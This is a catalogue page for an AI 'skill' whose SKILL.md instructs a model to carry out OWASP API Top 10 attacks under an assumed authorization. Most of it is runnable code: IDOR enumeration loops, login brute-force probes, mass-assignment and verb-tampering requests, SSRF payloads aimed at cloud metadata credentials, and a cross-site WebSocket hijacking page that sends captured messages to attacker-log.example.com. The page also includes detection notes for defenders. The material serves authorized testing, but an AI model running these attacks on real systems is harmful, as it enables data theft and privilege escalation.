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Offensive Api Security

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SnailSploit
offensive-api-security

Comprehensive API security testing methodology covering REST, gRPC, and WebSocket attack surfaces. Addresses the full OWASP API Security Top 10 2023 including BOLA/IDOR, broken authentication, excessive data exposure, rate limiting bypass, BFLA, mass assignment, SSRF, and security misconfiguration. Includes REST-specific attacks such as HTTP verb tampering, content-type switching, and parameter pollution. Covers gRPC exploitation through protobuf interception, reflection API enumeration, and metadata injection. Addresses WebSocket vulnerabilities including origin bypass, message injection, and cross-site WebSocket hijacking. Provides tooling guidance for Burp Suite, Postman, grpcurl, websocat, and mitmproxy. Each technique includes detection signatures and defensive indicators so you understand what artifacts your testing leaves behind. Designed for authorized penetration testing engagements against API-driven architectures.

Overview

PublisherSnailSploit
RepositoryClaude-Red
Skill nameoffensive-api-security
Stars
6K
Forks
775
Bundled files
Instructions only
LicenseMIT
Links
  • Markdown instructions

    A SKILL.md file the model loads on demand, so it only costs tokens when a request actually matches.

  • Works with any LLM

    AI skills are plain Markdown, not provider-specific code, so this works with GPT, Claude, Gemini, Grok, or a local model.

  • Self-contained

    Everything the model needs lives in the instructions — no extra files to sync.

  • Open source

    Published by SnailSploit on GitHub. Read the source before you install it.

Installation

Install the Offensive Api Security AI skill in TypingMind to use it with any LLM, or drop it into another agent that reads SKILL.md.

1

Install in TypingMind

TypingMind installs a skill straight from its GitHub folder — it reads SKILL.md, bundles the resource files, and stores the result locally.

  1. Open the app and go to Plugins → Skills.
  2. Choose "Install from GitHub".
  3. Paste the skill folder URL below and confirm.
  4. Enable the skill in any chat where you want it available.
Plugins → Skills → Add skill → From GitHub URL, then paste the folder URL and press Continue.
2

Install in another agent

Any agent that reads the Agent Skills format can use this skill — copy the folder into that agent's skills directory.

Claude Code — .claude/skills
git clone --depth 1 https://github.com/SnailSploit/Claude-Red.git /tmp/Claude-Red
mkdir -p .claude/skills
cp -r /tmp/Claude-Red/Skills/api/offensive-api-security .claude/skills/offensive-api-security
Restart Claude Code after copying so it picks up the new skill.

Use it in TypingMind

Enable Offensive Api Security in any TypingMind chat and the model takes it from there. Its name and description sit in the system prompt, and the moment a request matches, the model loads the full instructions itself — you never invoke it by hand, and it costs no tokens until it is actually used.

The model loads Offensive Api Security on its own as soon as a request matches it.

Works with any AI model

AI skills are plain Markdown instructions rather than provider-specific code, so Offensive Api Security is not tied to the model it was written for. Install it once in TypingMind and use it with GPT-5, Claude, Gemini, Grok, DeepSeek, Mistral, Llama, or a local model you run yourself — all on your own API keys.

  • Loaded only when it is needed

    The system prompt carries just the name and description. The instructions are fetched on the first matching request, so an idle skill costs nothing.

  • Switch models mid-chat

    Because the skill is instructions rather than code, changing model does not break it — the next model reads the same SKILL.md.

Skill instructions

This is the SKILL.md content the model loads. Read it before installing — a skill is instructions your model will follow.

Offensive API Security Testing

You are conducting authorized security assessments against API-driven applications. This skill covers REST, gRPC, and WebSocket attack surfaces with emphasis on the OWASP API Security Top 10 2023. Every technique assumes you have written authorization and a defined scope. Your goal is to identify vulnerabilities that allow unauthorized data access, privilege escalation, or service disruption through API-layer attacks.

Quick Workflow

  1. Map the API surface: collect OpenAPI/Swagger specs, gRPC reflection output, and WebSocket endpoints.
  2. Enumerate authentication mechanisms: API keys, OAuth flows, JWTs, session tokens.
  3. Test BOLA/IDOR by substituting object identifiers across authenticated contexts.
  4. Probe authorization boundaries with BFLA checks across roles and HTTP methods.
  5. Fuzz parameters for mass assignment, content-type switching, and verb tampering.
  6. Assess rate limiting and resource consumption controls.
  7. Test gRPC-specific vectors: reflection enumeration, metadata injection, protobuf manipulation.
  8. Evaluate WebSocket security: origin validation, message integrity, CSWSH.
  9. Check for SSRF via URL-accepting parameters and webhook configurations.
  10. Document findings with reproduction steps and severity ratings.

OWASP API Top 10 2023 -- BOLA and IDOR

Broken Object Level Authorization (BOLA) is the most prevalent API vulnerability. You test it by capturing a legitimate request containing an object identifier and replaying it with identifiers belonging to other users or tenants.

http
GET /api/v1/users/1001/orders HTTP/1.1
Authorization: Bearer eyJhbGciOi...user_a_token
Host: target.example.com

Replay with a different user ID while retaining the original token:

http
GET /api/v1/users/1002/orders HTTP/1.1
Authorization: Bearer eyJhbGciOi...user_a_token
Host: target.example.com

Automate IDOR testing across sequential and UUID-based identifiers:

bash
# Sequential ID enumeration
for id in $(seq 1000 1050); do
  status=$(curl -s -o /dev/null -w "%{http_code}" \
    -H "Authorization: Bearer $TOKEN_A" \
    "https://target.example.com/api/v1/users/${id}/orders")
  echo "ID: ${id} -> HTTP ${status}"
done
bash
# Test with collected UUIDs from other endpoints
while read -r uuid; do
  resp=$(curl -s -H "Authorization: Bearer $TOKEN_A" \
    "https://target.example.com/api/v1/documents/${uuid}")
  echo "UUID: ${uuid} -> $(echo "$resp" | jq -r '.owner // "no_owner_field"')"
done < collected_uuids.txt

Test across HTTP methods -- an endpoint may enforce authorization on GET but not on PUT or DELETE:

bash
for method in GET PUT PATCH DELETE; do
  curl -s -o /dev/null -w "${method} -> %{http_code}\n" \
    -X "${method}" \
    -H "Authorization: Bearer $TOKEN_A" \
    -H "Content-Type: application/json" \
    -d '{"status":"cancelled"}' \
    "https://target.example.com/api/v1/users/1002/orders/5001"
done

Broken Authentication and Excessive Data Exposure

Test authentication endpoints for credential stuffing resilience, token lifecycle weaknesses, and information leakage in API responses.

bash
# Rapid credential testing -- probe for missing rate limits on login
for i in $(seq 1 100); do
  code=$(curl -s -o /dev/null -w "%{http_code}" \
    -X POST -H "Content-Type: application/json" \
    -d "{\"email\":\"test@example.com\",\"password\":\"attempt${i}\"}" \
    "https://target.example.com/api/v1/auth/login")
  echo "Attempt ${i}: HTTP ${code}"
  [ "$code" = "429" ] && echo "Rate limit hit at attempt ${i}" && break
done

Check for excessive data exposure by comparing full API responses against what the UI renders. Look for internal IDs, other users' emails, hashed passwords, role assignments, or PII the client never displays:

bash
curl -s -H "Authorization: Bearer $TOKEN" \
  "https://target.example.com/api/v1/users/me" | jq .

Test token validation weaknesses:

bash
# Expired token, post-password-change token, malformed bearer values
curl -s -o /dev/null -w "Expired: %{http_code}\n" \
  -H "Authorization: Bearer $EXPIRED_TOKEN" \
  "https://target.example.com/api/v1/users/me"

curl -s -o /dev/null -w "Pre-change: %{http_code}\n" \
  -H "Authorization: Bearer $PRE_PASSWORD_CHANGE_TOKEN" \
  "https://target.example.com/api/v1/users/me"

for val in "" "null" "undefined" "Bearer" "Bearer "; do
  curl -s -o /dev/null -w "Value '${val}' -> %{http_code}\n" \
    -H "Authorization: ${val}" \
    "https://target.example.com/api/v1/users/me"
done

Rate Limiting and Resource Consumption

Test for Unrestricted Resource Consumption (API4:2023) by assessing whether the API enforces limits on request frequency, payload size, and response pagination.

bash
# Measure rate limit headers across rapid requests
for i in $(seq 1 50); do
  curl -s -D - -o /dev/null \
    -H "Authorization: Bearer $TOKEN" \
    "https://target.example.com/api/v1/search?q=test" 2>&1 | \
    grep -iE "x-rate|retry-after|x-ratelimit"
  sleep 0.1
done
bash
# Pagination abuse and large payload submission
curl -s -H "Authorization: Bearer $TOKEN" \
  "https://target.example.com/api/v1/products?page=1&per_page=100000" | jq 'length'

python3 -c "
import json, sys
payload = {'name': 'A' * 1000000, 'tags': ['x'] * 10000}
sys.stdout.write(json.dumps(payload))
" | curl -s -o /dev/null -w "Large payload: %{http_code}\n" \
  -X POST -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" -d @- \
  "https://target.example.com/api/v1/products"

BFLA and Mass Assignment

Broken Function Level Authorization (BFLA) occurs when low-privilege users can invoke administrative API functions. Mass assignment exploits occur when the API binds client-supplied data directly to internal object properties.

bash
# BFLA: Test admin endpoints with regular user token
admin_endpoints=(
  "GET /api/v1/admin/users"
  "POST /api/v1/admin/users"
  "DELETE /api/v1/admin/users/1001"
  "GET /api/v1/admin/config"
  "PUT /api/v1/admin/config"
  "GET /api/v1/internal/metrics"
)

for ep in "${admin_endpoints[@]}"; do
  method=$(echo "$ep" | cut -d' ' -f1)
  path=$(echo "$ep" | cut -d' ' -f2)
  code=$(curl -s -o /dev/null -w "%{http_code}" \
    -X "$method" -H "Authorization: Bearer $REGULAR_USER_TOKEN" \
    "https://target.example.com${path}")
  echo "${method} ${path} -> HTTP ${code}"
done
bash
# Mass assignment: inject properties that should not be user-controllable
curl -s -X PUT \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "name": "Updated Name",
    "role": "admin",
    "is_admin": true,
    "permissions": ["admin", "superuser"],
    "account_type": "premium",
    "credit_balance": 99999
  }' \
  "https://target.example.com/api/v1/users/me" | jq .

REST Verb Tampering and Content-Type Switching

APIs sometimes apply security controls only to expected HTTP methods or content types. You exploit this by sending requests with unexpected methods or by switching the serialization format.

bash
# Verb tampering: test all methods against a restricted endpoint
for method in GET POST PUT PATCH DELETE OPTIONS HEAD TRACE; do
  code=$(curl -s -o /dev/null -w "%{http_code}" \
    -X "$method" -H "Authorization: Bearer $TOKEN" \
    "https://target.example.com/api/v1/admin/settings")
  echo "${method} -> HTTP ${code}"
done
bash
# Method override headers -- bypass method-based WAF rules
curl -s -X POST \
  -H "X-HTTP-Method-Override: DELETE" \
  -H "Authorization: Bearer $TOKEN" \
  "https://target.example.com/api/v1/users/1002"

curl -s -X POST \
  -H "X-Method-Override: PUT" -H "X-HTTP-Method: PATCH" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"role":"admin"}' \
  "https://target.example.com/api/v1/users/me"
bash
# Content-type switching and parameter pollution
curl -s -X POST -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "username=admin&password=test&role=admin" \
  "https://target.example.com/api/v1/users"

curl -s -X POST -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/xml" \
  -d '<?xml version="1.0"?><user><name>test</name><role>admin</role></user>' \
  "https://target.example.com/api/v1/users"

# Parameter pollution via duplicate keys
curl -s -H "Authorization: Bearer $TOKEN" \
  "https://target.example.com/api/v1/transfer?to=attacker&amount=100&to=victim"

SSRF via API Parameters

Server-Side Request Forgery through URL-accepting API parameters allows you to reach internal services or cloud metadata endpoints.

bash
ssrf_payloads=(
  "http://169.254.169.254/latest/meta-data/"
  "http://metadata.google.internal/computeMetadata/v1/"
  "http://127.0.0.1:8080/admin"
  "http://[::1]:8080/"
  "http://0x7f000001/"
  "http://internal-service.local/"
)

for payload in "${ssrf_payloads[@]}"; do
  echo "--- Testing: ${payload}"
  curl -s -X POST -H "Authorization: Bearer $TOKEN" \
    -H "Content-Type: application/json" \
    -d "{\"webhook_url\": \"${payload}\"}" \
    "https://target.example.com/api/v1/integrations/webhook" | head -c 500
  echo
done

Test SSRF through import/export and profile features:

bash
curl -s -X POST -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"import_url": "http://169.254.169.254/latest/user-data"}' \
  "https://target.example.com/api/v1/data/import"

curl -s -X PUT -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"avatar_url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}' \
  "https://target.example.com/api/v1/users/me/profile"

gRPC Security Testing

gRPC services expose a different attack surface than REST. You use reflection to enumerate services, grpcurl to craft requests, and mitmproxy to intercept protobuf traffic.

bash
# Enumerate services via gRPC reflection
grpcurl -plaintext target.example.com:50051 list
grpcurl -plaintext target.example.com:50051 describe myapp.UserService
grpcurl -plaintext target.example.com:50051 describe myapp.UserService.GetUser
bash
# Test BOLA on gRPC -- access another user's data with your token
grpcurl -plaintext \
  -H "authorization: Bearer $TOKEN_A" \
  -d '{"user_id": "1002"}' \
  target.example.com:50051 myapp.UserService/GetUser

# Test admin methods with regular user credentials
grpcurl -plaintext \
  -H "authorization: Bearer $REGULAR_TOKEN" \
  -d '{}' \
  target.example.com:50051 myapp.AdminService/ListAllUsers

Metadata injection -- gRPC metadata headers can be exploited similarly to HTTP headers:

bash
grpcurl -plaintext \
  -H "authorization: Bearer $TOKEN" \
  -H "x-forwarded-for: 127.0.0.1" \
  -H "x-internal-service: true" \
  -H "x-user-role: admin" \
  -d '{}' \
  target.example.com:50051 myapp.AdminService/GetConfig

Intercept and modify gRPC traffic with mitmproxy:

python
# mitmproxy addon for gRPC inspection (save as grpc_inspector.py)
# Run: mitmproxy -s grpc_inspector.py --mode reverse:https://target:50051
from mitmproxy import http

class GrpcInspector:
    def request(self, flow: http.HTTPFlow):
        if flow.request.headers.get("content-type", "").startswith("application/grpc"):
            print(f"[gRPC] {flow.request.method} {flow.request.path}")
            for k, v in flow.request.headers.items():
                if not k.startswith(":"):
                    print(f"  Metadata: {k}: {v}")

    def response(self, flow: http.HTTPFlow):
        if flow.response and "grpc-status" in flow.response.headers:
            print(f"[gRPC Response] Status: {flow.response.headers['grpc-status']}")

addons = [GrpcInspector()]

WebSocket Security Testing

WebSocket connections bypass many traditional HTTP security controls. You test origin validation, message injection, authentication persistence, and cross-site WebSocket hijacking.

bash
# Origin validation testing with websocat
websocat -H "Origin: https://evil.example.com" "wss://target.example.com/ws/chat"
websocat "wss://target.example.com/ws/chat"  # no origin
websocat -H "Origin: https://subdomain.target.example.com" "wss://target.example.com/ws/chat"
python
#!/usr/bin/env python3
"""WebSocket message fuzzing and injection testing."""
import asyncio, websockets, json

async def test_ws_injection(url, token):
    headers = {"Cookie": f"session={token}"}
    async with websockets.connect(url, extra_headers=headers) as ws:
        test_payloads = [
            json.dumps({"type": "message", "content": "hello"}),
            json.dumps({"type": "message", "content": "hello", "user_id": "1002"}),
            json.dumps({"type": "admin_broadcast", "content": "injected"}),
            json.dumps({"type": "subscribe", "channel": "../admin/notifications"}),
            json.dumps({"type": "message", "content": "A" * 1000000}),
        ]
        for payload in test_payloads:
            await ws.send(payload)
            try:
                response = await asyncio.wait_for(ws.recv(), timeout=3)
                print(f"Sent: {payload[:80]}\nRecv: {response[:200]}\n---")
            except asyncio.TimeoutError:
                print(f"Sent: {payload[:80]} -> No response\n---")

asyncio.run(test_ws_injection("wss://target.example.com/ws/chat", "SESSION_TOKEN"))

Cross-Site WebSocket Hijacking (CSWSH) verification:

html
<!-- Host on attacker-controlled domain -- authorized testing only -->
<script>
  var ws = new WebSocket("wss://target.example.com/ws/chat");
  ws.onopen = function() {
    console.log("[CSWSH] Connection opened -- origin validation missing");
    ws.send(JSON.stringify({type: "message", content: "cswsh-test"}));
  };
  ws.onmessage = function(evt) {
    console.log("[CSWSH] Received: " + evt.data);
    fetch("https://attacker-log.example.com/log", {method: "POST", body: evt.data});
  };
  ws.onerror = function(e) {
    console.log("[CSWSH] Connection failed -- origin may be validated");
  };
</script>

API Versioning and Security Misconfiguration

APIs that maintain multiple versions often have inconsistent security controls. Deprecated versions may lack patches applied to current versions.

bash
# Enumerate API versions
versions=("v1" "v2" "v3" "v0" "v1-beta" "v2-beta" "internal" "latest" "dev" "staging")
for ver in "${versions[@]}"; do
  code=$(curl -s -o /dev/null -w "%{http_code}" \
    -H "Authorization: Bearer $TOKEN" \
    "https://target.example.com/api/${ver}/users/me")
  [ "$code" != "404" ] && echo "Version '${ver}' -> HTTP ${code}"
done
bash
# Check for exposed documentation and debug endpoints
endpoints=(
  "/swagger.json" "/swagger-ui/" "/openapi.json" "/api-docs"
  "/graphql" "/graphiql" "/.well-known/openid-configuration"
  "/actuator" "/actuator/env" "/actuator/health"
  "/debug" "/trace" "/metrics" "/_profiler"
)
for ep in "${endpoints[@]}"; do
  code=$(curl -s -o /dev/null -w "%{http_code}" "https://target.example.com${ep}")
  [ "$code" != "404" ] && [ "$code" != "000" ] && echo "${ep} -> HTTP ${code}"
done
bash
# CORS misconfiguration testing
curl -s -D - -o /dev/null \
  -H "Origin: https://evil.example.com" -X OPTIONS \
  "https://target.example.com/api/v1/users/me" 2>&1 | \
  grep -iE "access-control|allow-origin|allow-credentials"

curl -s -D - -o /dev/null -H "Origin: null" \
  "https://target.example.com/api/v1/users/me" 2>&1 | grep -i "access-control"

# Security header audit
curl -s -D - -o /dev/null "https://target.example.com/api/v1/health" 2>&1 | \
  grep -iE "x-content-type|x-frame|strict-transport|content-security|x-powered-by|server:"

Detection / Defender View

When you run these tests, you leave artifacts that defenders and monitoring systems detect:

  • BOLA/IDOR probes generate sequences of requests with incrementing or random object IDs from a single session. API gateways log unusual access patterns across object identifiers. Anomaly detection flags accounts accessing resources outside their normal scope.

  • Rate limit testing produces burst traffic visible in access logs. HTTP 429 responses trigger SIEM alerts. Repeated authentication failures activate account lockout mechanisms.

  • Verb tampering and method override requests with unusual HTTP methods or override headers stand out in access logs. Security-conscious applications alert on method override header usage.

  • gRPC reflection enumeration is logged by interceptors. Calls to the reflection service from non-development IPs trigger alerts. Metadata injection attempts appear in gRPC access logs.

  • WebSocket testing generates connection attempts with unusual Origin headers logged at the load balancer. CSWSH attempts may trigger CSP violation reports.

  • SSRF payloads containing internal IPs or metadata URLs are flagged by WAFs. Outbound connections to unexpected destinations trigger network monitoring alerts.

  • Version probing creates 404 bursts across multiple path prefixes from a single source IP.


Engagement Cheatsheet

PhaseActionTool
ReconnaissanceCollect API specsBurp crawler, Swagger endpoints
ReconnaissancegRPC service enumerationgrpcurl with reflection
ReconnaissanceWebSocket endpoint discoveryBurp Suite, DevTools
AuthenticationToken lifecycle testingcurl, Burp Repeater
AuthorizationBOLA/IDOR across objectscurl loops, Burp Intruder
AuthorizationBFLA across rolescurl with multiple tokens
Input handlingMass assignmentcurl, Postman
Input handlingContent-type switchingcurl with varied headers
ProtocolgRPC metadata injectiongrpcurl
ProtocolgRPC protobuf interceptionmitmproxy with addon
ProtocolWebSocket injectionwebsocat, Python websockets
ProtocolCSWSH verificationCustom HTML test page
InfrastructureSSRF via URL parameterscurl, Burp Collaborator
InfrastructureAPI versioning bypasscurl version enumeration
InfrastructureMisconfiguration scancurl, Burp scanner

Key References

Frequently asked questions

What does the Offensive Api Security AI skill do?

Comprehensive API security testing methodology covering REST, gRPC, and WebSocket attack surfaces. Addresses the full OWASP API Security Top 10 2023 including BOLA/IDOR, broken authentication, excessive data exposure, rate limiting bypass, BFLA, mass assignment, SSRF, and security misconfiguration. Includes REST-specific attacks such as HTTP verb tampering, content-type switching, and parameter pollution. Covers gRPC exploitation through protobuf interception, reflection API enumeration, and metadata injection. Addresses WebSocket vulnerabilities including origin bypass, message injection,...

Why use Offensive Api Security on TypingMind?

Because you install it once and use it with any model. Offensive Api Security is plain Markdown rather than provider-specific code, so the same skill runs on GPT-5, Claude, Gemini, Grok, or a local model — and you can switch model mid-chat without it breaking. TypingMind runs on your own API keys, so you pay providers directly instead of a per-seat subscription, and your skills and chats stay in your own storage.

How do I install Offensive Api Security in TypingMind?

Open Plugins → Skills → Install from GitHub in TypingMind and paste https://github.com/SnailSploit/Claude-Red/tree/main/Skills/api/offensive-api-security. TypingMind reads its SKILL.md and installs it as a skill you can enable per chat.

Which AI models can use Offensive Api Security?

Any model you connect in TypingMind. AI skills are plain Markdown instructions rather than provider-specific code, so GPT, Claude, Gemini, Grok, and local models can all load this skill when a request matches it.

How many AI models can I use with Offensive Api Security?

As many as you like. As long as a model supports skills, you can use Offensive Api Security with it — GPT, Claude, Gemini, Grok, DeepSeek, Mistral, Llama and more — all on TypingMind with your own API keys.

Is the Offensive Api Security AI skill free?

Yes. It is published on GitHub by SnailSploit under the MIT license. You only pay your own AI provider for the tokens you use.

What are AI skills?

An AI skill is a reusable instruction bundle that teaches an AI model how to do one specific task. It follows the open Agent Skills format: a SKILL.md file with a name and description, plus any scripts, templates or reference files the model may need. The model reads the instructions only when your request matches the skill, so an installed skill costs nothing until it is used.

How are AI skills different from plugins or MCP servers?

A plugin or MCP server gives a model new tools to call — code that runs somewhere and returns a result. An AI skill gives the model knowledge and process instead: how to approach a task, which steps to follow, what good output looks like. Skills are plain Markdown, so they need no server, no API key and no runtime, and they work with any model.

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